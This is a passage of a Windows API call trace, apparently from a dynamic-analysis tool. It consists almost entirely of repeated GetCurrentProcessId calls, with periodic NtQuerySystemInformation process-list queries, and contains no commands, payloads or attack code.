GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0120.902] GetCurrentProcessId () returned 0xd70 [0121.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be68) returned 0x0 [0121.498] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.499] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.500] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.501] GetCurrentProcessId () returned 0xd70 [0121.502] GetCurrentProcessId () returned 0xd70 [0122.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be18) returned 0x0 [0122.062] GetCurrentProcessId () returned 0xd70 [0122.062] GetCurrentProcessId () returned 0xd70 [0122.062] GetCurrentProcessId () returned 0xd70 [0122.062] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.063] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.064] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.065] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.066] GetCurrentProcessId () returned 0xd70 [0122.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c0b8) returned 0x0 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.604] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.605] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.606] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.607] GetCurrentProcessId () returned 0xd70 [0122.608] GetCurrentProcessId () returned 0xd70 [0122.608] GetCurrentProcessId () returned 0xd70 [0123.143] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be18) returned 0x0 [0123.148] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.149] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.150] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.151] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.152] GetCurrentProcessId () returned 0xd70 [0123.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bb78) returned 0x0 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.726] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.727] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.728] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0123.729] GetCurrentProcessId () returned 0xd70 [0124.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c060) returned 0x0 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] 